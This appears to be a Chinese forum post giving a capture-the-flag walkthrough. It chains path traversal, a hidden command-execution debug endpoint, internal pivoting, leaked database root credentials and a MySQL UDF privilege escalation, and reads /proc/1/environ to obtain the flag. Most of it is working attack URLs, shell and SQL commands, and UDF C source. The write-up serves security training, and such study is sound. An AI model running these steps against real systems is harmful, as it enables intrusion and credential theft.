环境拓扑

漏洞利用链
第一步:任意文件读取(DMZ-WEB)
访问文档下载功能,发现存在路径穿越漏洞:
正常访问:
http://target/download?file=产品介绍.txt
漏洞利用(路径穿越):
http://target/download?file=../app.py
http://target/download?file=../../etc/passwd
第二步:代码审计
通过任意文件读取获取源代码:
/download?file=../app.py # 读取主应用代码
在 app.py 源码中发现隐藏的调试接口:
@app.route("/api/system/debug")
def debug():
cmd = request.args.get("cmd")
if cmd:
return os.popen(cmd).read()
第三步:DMZ区RCE
利用发现的调试接口执行命令:
http://target/api/system/debug?cmd=id
http://target/api/system/debug?cmd=ifconfig
http://target/api/system/debug?cmd=cat /etc/hosts
第四步:内网探测
通过RCE探测内网:
http://target/api/system/debug?cmd=ping -c 1 inner-app
http://target/api/system/debug?cmd=curl http://inner-app:8080
第五步:访问内网OA系统
通过DMZ的RCE作为跳板:
curl http://inner-app:8080/admin
发现数据库配置信息泄露:
- DB_HOST=inner-db
- DB_USER=root
- DB_PASS=root@123
第六步:内网OA系统RCE
继续代码审计或fuzzing发现:
http://inner-app:8080/api/system/exec?cmd=whoami
第七步:MySQL UDF提权
- 连接数据库
mysql -h inner-db -u root -proot@123
- 查看系统配置获取提示
USE appdb;
SELECT * FROM system_config;
发现提示:Use MySQL UDF to execute system commands, then read SNOW_FLAG from container environment
- 编译UDF动态库
// udf.c
#include <string.h>
#include <stdlib.h>
void sys_exec_init() {}
void sys_exec_deinit() {}
long long sys_exec(char *cmd) {
system(cmd);
return 0;
}
编译:
gcc -shared -fPIC -o udf.so udf.c
- 上传UDF到MySQL插件目录
-- 将编译好的udf.so内容转为十六进制
-- 然后写入到 /usr/lib/mysql/plugin/udf.so
SELECT BINARY 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
-- 或者直接在服务器上编译并复制
- 创建UDF函数
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
- 读取环境变量获取Flag
-- MySQL容器的环境变量在 /proc/1/environ
SELECT sys_exec('cat /proc/1/environ | grep SNOW_FLAG > /tmp/flag.txt');
-- 或者通过其他方式回显
SELECT sys_exec('env | grep SNOW_FLAG');
关键点:
/proc/1/environ 包含容器启动时的所有环境变量
SNOW_FLAG 就是最终的flag
- 需要通过UDF执行系统命令才能读取
snow [管理员]
1 楼 - 2 日,6 小时前 IP:陕西